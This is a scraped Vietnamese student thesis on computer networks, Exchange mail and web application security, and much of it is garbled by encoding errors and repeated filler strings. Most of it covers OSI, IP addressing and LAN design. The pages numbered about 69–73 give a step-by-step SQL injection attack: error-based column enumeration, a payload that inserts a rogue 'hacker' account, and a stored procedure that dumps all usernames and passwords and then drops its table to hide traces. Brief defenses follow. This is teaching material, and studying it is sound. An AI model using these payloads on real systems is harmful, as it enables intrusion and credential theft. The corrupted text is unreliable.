Tìm hiểu dịch vụ mail và nghiên cứu một số vấn đề bảo mật ứng dụng web

Lời nói đầu Trong công đổi không ngừng cđa khoa häc kü tht c«ng nghƯ, nhiỊu lÜnh vùc đà phát triển v-ợt bậc đặc biệt lĩnh vực công nghệ thông tin Mạng máy tính đ-ợc hình thành từ nhu cầu muốn chia sẻ tài nguyên dùng chung nguồn liệu Nếu hệ thống mạng, liệu phải đ-ợc in giấy ng-ời khác hiệu chỉnh sử dụng đ-ợc chép lên thiết bị l-u trữ khác tốn nhiều thời gian công sức Khi ng-ời làm việc môi tr-ờng độc lập mà nối máy tính với máy tính nhiều ng-ời khác, ta sử dụng máy tính khác máy in Mạng máy tính đ-ợc tổ chức sử dụng chủ yếu để chia sẻ, dùng chung tài nguyên cho phép giao tiếp trực tuyến bao gồm gửi nhận thông điệp hay th- điện tử, giao dịch, th-ơng mại điện tử, tìm kiếm thông tin mạng Chính vai trò quan trọng mạng máy tính với nhu cầu sống ng-ời, kiến thức đà đ-ợc học tr-ờng chúng em đà chọn đồ án: Tìm hiểu E-mail nội với Exchange Server số vấn đề bảo mật ứng dụng Web Với nội dung đ-ợc đề cập nghiên cứu mô hình mạng LAN (Local Area Network mạng nội bộ) quản trị th- điện tử nội víi phÇn mỊm Microsoft Exchange Server 2003 Do thêi gian kiến thức có hạn nên viết hạn chế, mong đ-ợc góp ý Thầy Cô giáo nhóm sinh viên chúng em xin chân thành cảm ơn thầy giáo Ths: Vũ Văn Nam đà tận tình giúp đỡ để chúng em hoàn thành đồ án Xin trân trọng cảm ơn! Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Cấu trúc đồ án gồm có phần: Phần 1: Tìm hiểu mạng máy tính hệ thống mạng nội LAN Ch-ơng Tổng quan mạng máy tính Ch-ơng Mô hình tham chiếu OSI giao thức TCP/IP Ch-ơng Mạng LAN thiết kế mạng LAN Phần 2: Quản trị E-mail néi bé víi Exchange Server 2003 Ch-¬ng Giíi thiƯu dịch vụ Mail Ch-ơng Giới thiệu ch-ơng trình Exchange Server 2003 quản trị Mail Phần Nghiên cứu số vấn đề bảo mật ứng dụng web Ch-¬ng Giíi thiƯu øng dơng Web Ch-¬ng Giíi thiệu sơ l-ợc kỹ thuật công ứng dụng Web Ch-ơng Một số kỹ thuật công ứng dụng Web Phần 4: Thiết kế hệ thống mạng tr-ờng chuyên nghiệp Ch-ơng 1: Khảo sát chung Ch-ơng 2: Các yêu cầu chung Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Danh sách thành viên nhóm: Phan Huy Hùng ( Nhóm tr-ởng) Hoàng Anh Tuấn D-ơng Quang Hµo Phanthavong Thavysay Phan Huy Hïng - Hoµng Anh TuÊn - D-ơng Quang Hào - Phanthavong Thavysay Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Phần 1: Tìm hiểu mạng máy tính hệ thống mạng nội LAN(Local area networks) Ch-ơng 1: Tổng quan mạng máy tính Trong ch-ơng giới thiệu hình thành phát triển mạng máy tính Qua trình bày kiến thức mạng máy tính, đặc tr-ng kỹ thuật mạng máy tính, phân loại mạng máy tính loại mạng máy tính thông dụng 1.1 Vài nét hình thành phát triển mạng máy tính Từ năm 60 đà xuất mạng xử lý trạm đầu cuối (Terminal) thụ động đ-ợc nối vào máy xử lý trung tâm Máy xử lý trung tâm làm tất việc, từ quản lý thủ tục nhập xuất liệu, quản lý đồng trạm cuối, quản lý hàng đợi việc xử lý ngắt từ trạm cuối Để nhận nhiệm vụ máy xử lý trung tâm, ng-ời ta thêm vào tiền xử lý để nối thành mạng truyền tin, thiết bị tập trung dồn kênh dùng để tập trung đ-ờng truyền tín hiệu gửi tới từ trạm cuối Sự khác hai thiết bị dồn kênh có khả truyền song song thông tin trạm cuối gửi tới, tập trung khả nên phải dùng nhớ đệm để l-u trữ tạm thời thông tin Từ đầu năm 70 máy tính đà đ-ợc nối với trực tiếp để tạo thành mạng máy tính nhằm chia sẻ tài nguyên tăng độ tin cậy Cũng năm 1970 bắt đầu xuất khái niệm mạng truyền thông (Communication Networks), thành phần nút mạng, đ-ợc gọi chuyển mạch (switching Unit) dùng để h-ớng thông tin đến đích Các nút mạng đ-ợc nối với đ-ờng truyền(Transmissinon Line) máy tính xử lý thông tin ng-ời sử dụng trạm cuối đ-ợc nối trực tiếp vào nút mạng để cần trao đổi thông tin qua mạng Bản thân nút mạng th-ờng máy tính nên đồng thời đóng vai trò máy ng-ời sư dơng Phan Huy Hïng - Hoµng Anh Tn - D-ơng Quang Hào - Phanthavong Thavysay Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web 1.2 Đặc tr-ng kỹ thuật mạng máy tính 1.2.1 Đ-ờng truyền vật lý Là thành tố quan trọng mạng máy tính, ph-ơng tiện dùng để truyền tín hiệu điện tử máy tính Các tín hiệu điệu tử thông tin, liệu đ-ợc biểu thị d-ới dạng xung nhị phân (ON_OFF), tín hiệu truyền máy tính với thuộc sóng điện từ, tuỳ theo tần số mà ta dùng đ-ờng truyền vật lý khác Đặc tr-ng đ-ờng truyền giải thông biểu thị khả truyền tải tín hiệu đ-ờng truyền Thông th-ờng ng-ời ta hay phân loại đ-ờng truyền theo hai loại: - Đ-ờng truyền hữu tuyến: Các máy tính đ-ợc nối với dây cáp mạng - Đ-ờng truyền vô tuyến: Các máy tính truyền tín hiệu với thông qua sóng vô tuyến với thiết bị điều chế/giải điều chế đầu mút 1.2.2 Kỹ thuật chuyển mạch Là đặc tr-ng kỹ thuật chuyển tín hiệu nút mạng, nút mạng có chức h-ớng thông tin tới đích mạng, có kỹ thuật chuyển mạch nh- sau: - Kỹ thuật chuyển mạch kênh: Khi có hai thực thể cần truyền thông với chúng thiết lập kênh cố định trì kết nối hai bên ngắt liên lạc Các liệu truyền theo đ-ờng cố định - Kỹ thuật chuyển mạch thông báo: Thông báo đơn vị liệu ng-ời sử dụng có khuôn dạng đ-ợc quy định tr-ớc Mỗi thông báo có chứa thông tin điều khiển rõ đích cần truyền tới thông báo Căn vào thông tin điều khiển mà nút trung gian chuyển thông báo tới nút đ-ờng dẫn tới đích thông báo - Kỹ thuật chuyển mạch gói: thông báo đ-ợc chia thành nhiều gói nhỏ đ-ợc gọi gói tin (Packet) có khuôn dạng qui định tr-ớc Mỗi gói tin chứa thông tin ®iỊu khiĨn, ®ã cã ®Þa chØ ngn (ng-êi gưi) địa đích (ng-ời nhận) gói tin Các gói tin thông báo đ-ợc gửi qua mạng tới đích theo nhiều đ-ờng khác 1.2.3 Kiến trúc mạng Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Kiến trúc mạng máy tính (Network Architecture) thể cách nối máy tính với tập hợp quy tắc, quy -ớc mà tất thực thể tham gia truyền thông mạng phải tuân theo để đảm bảo cho mạng hoạt động tốt Khi nói đến kiÕn tróc cđa m¹ng ng-êi ta mn nãi tíi hai vấn đề hình trạng mạng (Network Topology) giao thức mạng (Network Protocol): - Network Topology: Cách kết nối máy tính với mặt hình học mà ta gọi tôpô mạng Các hình trạng mạng là: hình sao, hình bus, hình vòng - Network Protocol: Tập hợp quy -ớc truyền thông thực thể truyền thông mà ta gọi giao thức mạng Các giao thức th-ờng gặp là: TCP/IP, NETBIOS, IPX/SPX 1.3 Phân loại mạng máy tính Có nhiều cách phân loại mạng khác tuỳ thuộc vào yếu tố đ-ợc chọn dùng để làm tiêu phân loại, thông th-ờng ng-ời ta phân loại mạng theo tiêu chí nh- sau: - Khoảng cách địa lý mạng - Kỹ thuật chuyển mạch mà mạng áp dụng - Kiến trúc mạng - Hệ điều hành mạng sử dụng Tuy nhiên thực tế, ng-ời ta th-ờng phân loại theo hai tiêu chí 1.3.1 Phân loại mạng theo khoảng cách địa lý 1.3.2 Phân loại theo kỹ thuật chuyển mạch 1.3.3 Phân loại theo kiến trúc mạng sử dụng 1.3.4 Phân loại theo hệ điều hành mạng Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Ch-ơng Mô hình tham chiếu hệ thống mở OSI giao thức TCP/IP Trong ch-ơng giới thiệu kiến thức mô hình tham chiếu OSI, tầng hoạt động nh- chức chủ yếu mô hình OSI kiến thức giao thức TCP/IP Qua hiếu rõ mô hình OSI giao thức TCP/IP 2.1 Mô hình OSI (Open System Inter Connection) Mô hình OSI (Open Systems Inter Connection): Là mô hình t-ơng kết hệ thống mở, mô hình đ-ợc tổ chức ISO đề xuất từ năm 1977 công bố vào đầu năm 1984 Để máy tính thiết bị mạng truyền thông với phải có quy tắc giao tiếp đ-ợc bên chấp nhận Mô hình OSI khuôn mẫu giúp hiểu liệu xuyên qua mạng nh- đồng thời giúp hiểu đ-ợc chức mạng diễn lớp Trong mô hình OSI có lớp, lớp mô tả phần chức độc lập Sự tách lớp mô hình đà mang lại lợi ích sau: - Chia hoạt động thông tin mạng thành phần nhỏ hơn, đơn giản giúp dễ khảo sát tìm hiểu - Chuẩn hoá thành phần mạng phép phát triển mạng từ nhiều nhà cung cấp sản phẩm - Ngăn chặn đ-ợc tình trạng thay đổi lớp ảnh h-ởng đến lớp khác, nh- giúp lớp phát triển độc lập nhanh chóng - Mô hình tham chiếu OSI định nghĩa quy tắc nội dung sau: + Cách thức thiết bị giao tiếp truyền thông đ-ợc nối với + Các ph-ơng pháp để thiết bị mạng đ-ợc truyền liệu, không đ-ợc truyền + Cách thức vận tải, truyền, xếp kết nối với + Cách thức đảm bảo thiết bị trì tốc độ truyền liệu thích hợp + Cách biểu diễn bit thiết bị truyền dẫn - Mô hình tham chiếu OSI đ-ợc chia thành lớp với chức nh- sau: + Application Layer (Tầng ứng dụng): Giao diện ứng dụng mạng Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web + Presentation Layer (Tầng trình diễn): Thoả thuận khuôn dạng trao đổi liệu + Session Layer (Tầng phiên): Cho phép ng-êi sư dơng thiÕt lËp c¸c kiĨu kÕt nèi + TransPort Layer (Tầng vận chuyển): Đảm bảo truyền thông hai hệ thống + Network Layer (Tầng mạng): Định h-ớng liệu truyền môi tr-ờng liên mạng + Datalink Layer (Tầng liên kết liệu): Xác định việc truy xuất đến thiết bị + Physical Layer (Tầng vật lý): Chuyển đổi liệu thành bit truyền -Mô hình: 2.2 Địa IP Sơ đồ địa hoá để định danh trạm (Host) liên mạng đ-ợc gọi địa IP Mỗi địa IP có độ dài 32 bits (đối với IP4) đ-ợc tách thành vùng (mỗi vùng Byte), đ-ợc biểu thị d-ới dạng thập phân, bát phân, thập lục phân nhị phân Cách viết phổ biến dùng ký pháp thập phân có dấu chấm để tách Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web vùng Mục đích địa IP để định danh cho Host liên mạng Có hai cách cấp phát địa IP, phụ thuộc vào cách ta kết nối mạng Nếu mạng ta kết nối vào mạng Internet, địa mạng đ-ợc xác nhận NIC (Network Interface Card) Nếu mạng ta không kết nối Internet, ng-ời quản trị mạng cấp phát địa IP cho mạng Còn Host ID đ-ợc cấp phát ng-ời quản trị mạng Khuôn dạng địa IP: Host mạng TCP/IP đ-ợc định danh địa có khuôn dạng - Phần định danh địa mạng Network Number - Phần định danh địa trạm làm việc mạng Host Number Ví dụ: 203.162.4.1 địa IP Do tổ chức độ lớn mạng liên mạng khác nhau, ng-ời ta chia địa IP thành lớp ký hiệu A, B, C, D, E với cấu trúc đ-ợc xác định hình 2.5 Hình 2.5: Cách đánh địa TCP/IP Các bit byte đ-ợc dùng để ®Þnh danh líp ®Þa chØ (0 líp A; 10 líp B; 110 líp C; 1110 líp D; 11110 líp E) Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hïng - Hoµng Anh TuÊn - D-ơng Quang Hào - Phanthavong Thavysay C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Ch-ơng 3: Mạng Lan thiết kế mạng LAN Trong ch-ơng giới thiệu mạng LAN thiết kế mạng LAN Qua trình bày kiến thức cấu trúc Tôpô mạng cục bộ, ph-ơng thức truy cập đ-ờng truyền, thiết bị dùng để kết nối mạng LAN b-ớc thiết kế mạng LAN Đồng thời trình bày kiến thức mạng Ethernet cách cài đặt mạng Ethernet mạng phổ biến mô hình mạng LAN 3.1 Kiến thức mạng LAN 3.1.1 Cấu trúc tôpô mạng cục Cấu trúc tôpô (Network Topology) LAN kiến trúc hình học thể cách bố trí đ-ờng cáp, xắp xếp máy tính để kết nối thành mạng hoàn chỉnh Hầu hết mạng LAN ngày đ-ợc thiết kế để hoạt động dựa cấu trúc mạng định tr-ớc Điển hình sử dụng nhiều cấu trúc: dạng sao, dạng tuyến tính, dạng vòng với cấu trúc kết hợp chúng a Mạng dạng (Star Topology) Mạng bao gồm kết nối trung tâm nút, nút trạm đầu cuối, máy tính thiết bị khác mạng Bộ kết nối trung tâm mạng điều phối hoạt động mạng (hình 3.1) Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay 10 C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Lỗi phát sinh: Tìm hiểu dịch vụ Mail b¶o mËt øng dơng web Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'taikhoan.Id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause Nhờ vào lỗi phát sinh mà biết đ-ợc bảng sử dụng câu truy vấn Taikhoan bảng tồn tr-ờng tên Id Sau sử dụng GROUP BY: Username :group by taikhoan.Id having 1=1-Lỗi phát sinh: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'taikhoan.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause Nh- username tr-ờng đ-ợc sử dụng bảng taikhoan tham gia vào câu truy vấn Tiếp tơc sư dơng GROUP BY: Username: ‘group by taikhoan.Id,taikhoan.username having 1=1-Lỗi phát sinh: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'taikhoan.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause Nh- vËy password lµ mét tr-êng đ-ợc sử dụng bảng taikhoan tham gia vào câu truy vấn Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay 69 C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Tiếp tục dùng GROUP BY biết đ-ợc tất tr-ờng bảng User tham gia vào câu truy vấn.Khi không báo lỗi cú pháp GROUP BY chuyển qua công đoạn kiểm tra kiểu tr-ờng bảng Lúc UNION đ-ợc sử dụng: Username: ‘union select sum(Id) from Taikhoan -LƯnh sum lµ lƯnh tính tổng cho đối số bên dấu ngoặc Đối số phải kiểu số Nếu đối số không kiểu số phát sinh lỗi nh- sau: Microsoft OLE DB Provider for SQL Server (0x80040E07) The sum or average aggregate operation cannot take a char data type as an argument Như với thông điệp lỗi trường Id chắn phải kiểu char Với ph-ơng pháp trên, dễ dàng xác định đ-ợc kiểu tr-ờng bảng Sau đà nhận đầy đủ thông tin hacker dễ dàng tự thêm thông tin vào bảng Taikhoan Username: ';INSERT INTO Taikhoan VALUES (100,'hacker','',1)-Nh- hacker đà có tài khoản để đăng nhập mà không cần mật chứng thực Ví dụ : Minh họa công đọa giúp hacker đọc hết thông tin bảng User: B-ớc 1: tạo Stored procedure để chép vào tất thông tin tr-ờng Username Password bảng Taikhoan thành chuỗi vào bảng foo có tr-ờng ret đoạn mà sau: Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay 70 C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Create pro test Tìm hiểu dịch vụ Mail b¶o mËt øng dơng web As Begin Declare @ret varchar(8000) Set @ret=‟:‟ Select @ret=@ret+‟ „+Username+‟/‟+Password from Taikhoan Select @ret as ret into foo end Thực thi câu lệnh cách nhËp vµo form Username: „;Create proc test as begin declare @ret varchar(8000) set @ret=‟:‟ select @ret=@ret+‟ „ +Username+‟/‟+Password from Taikhoan select @ret as ret into foo  B-íc 2: Gäi Stored procedure Sau đà tạo đ-ợc stored procedure nh- trên, thực lời gọi hàm: Username: ;exec test B-ớc 3: Dùng UNION dựa vào thông báo lỗi để xem bảng foo để xem nội dung bảng foo Username: ‘;select ret,1,1,1 from foo- B-íc 4: Ngoµi hacker cẩn thận xóa bảng foo để xãa dÊu vÕt: Username: ‘; drop table foo-3.2.3 TÊn c«ng dựa vào lệnh INSERT Kĩ thuật SQL injection đ-ợc dùng nh- đà dùng với câu lệnh SELECT, phải đảm bảo số l-ợng kiểu giá trị đ-ợc nhập vào nhằm tránh lỗi cú pháp(nếu không xác định đ-ợc kiểu liệu nhập tất sè) Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hïng - Hoµng Anh TuÊn - D-ơng Quang Hào - Phanthavong Thavysay 71 C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dụng web Một ví dụ cụ thể thông th-ờng ứng dụng web cho phép ng-ời dùng đăng kí tài khoản để tham gia Chức thiếu sau đăng kí thành công, ng-ời dùng xem hiệu chỉnh thông tin SQL injection đ-ợc dïng hƯ thèng kiĨm tra tÝnh hỵp lƯ cđa thông tin nhập vào Một câu lệnh INSERT có cú pháp dạng: INSERT INTO TableName VALUES(Value One,Value Two,Value Three) Nếu đoạn mà xây dựng câu lệnh SQL có d¹ng: Thì chắn bị lỗi SQL injection, ta nhập vào tr-ờng thứ vÝ dơ nh­: ‘+(SELECT TOP FieldName FROM TableName)+’ Lóc câu truy vấn là: INSERT INTO TableName VALUES(+(SELECT TOP FieldName FROM TableName)+’’,’abc’,’def’) Khi ®ã, lóc thùc hiƯn lệnh xem thông tin, xem nh- ta đà yêu cầu thực thêm lệnh là: SELECT TOP FieldName FROM TableName 3.3.3 Cách phòng chống Việc công the SQL Injection dựa vào câu thông báo lỗi việc phòng chống hay không cho hiển thị thông điệp lỗi cho ng-ời dùng cách thay lỗi thông báo trang ng-ời phát triển thiết kế xảy ứng dụng Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hùng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay 72 C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an Đồ án tốt nghiệp Tìm hiểu dịch vụ Mail bảo mật ứng dơng web Ta cã thĨ thiÕt lËp mét trang ASP báo lỗi tùy biến nh- sau: Tạo trang báo lỗi error.asp lưu vào th- mục chứa trang web Më tr×nh Internet Services Manager MMC Më réng ph¹m vi theo dâi Default Web Site cđa b¹n Kích chuột phải vào th- mục chứa trang web chän Properties KÝch vµo tab Custom Errors Cuén xuèng vµ kÝch chän vµo 500;100 HTTP error vµ kÝch vµo Edit Properties ThiÕt lËp Message Type thµnh URL Thay đổi URL thành /error.asp (không để dấu trích kép) Kích OK để trở lại MMC Xây dựng hàm để kiểm soát liệu đầu vào cách cẩn thận tức liệu vào đ-ợc chấp nhận loại bỏ tất liệu không liên quan mà cụ thể nên loại bỏ ký tự đặt biệt, khoảng trắng, từ khoá liên quan đến việc truy cập, sửa đổi cập nhật liệu - Thủ thuật khử nháy đơn (') - Thủ thuật từ chối liệu bất hợp lệ - Thủ thuật ràng buộc nhập liƯu hỵp lƯ Stt.010.Mssv.BKD002ac.email.ninhd 77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77t@edu.gmail.com.vn.bkc19134.hmu.edu.vn.Stt.010.Mssv.BKD002ac.email.ninhddtt@edu.gmail.com.vn.bkc19134.hmu.edu.vn Phan Huy Hïng - Hoàng Anh Tuấn - D-ơng Quang Hào - Phanthavong Thavysay 73 C.33.44.55.54.78.65.5.43.22.2.4 22.Tai lieu Luan 66.55.77.99 van Luan an.77.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.37.99.44.45.67.22.55.77.C.33.44.55.54.78.655.43.22.2.4.55.22 Do an.Tai lieu Luan van Luan an Do an.Tai lieu Luan van Luan an Do an 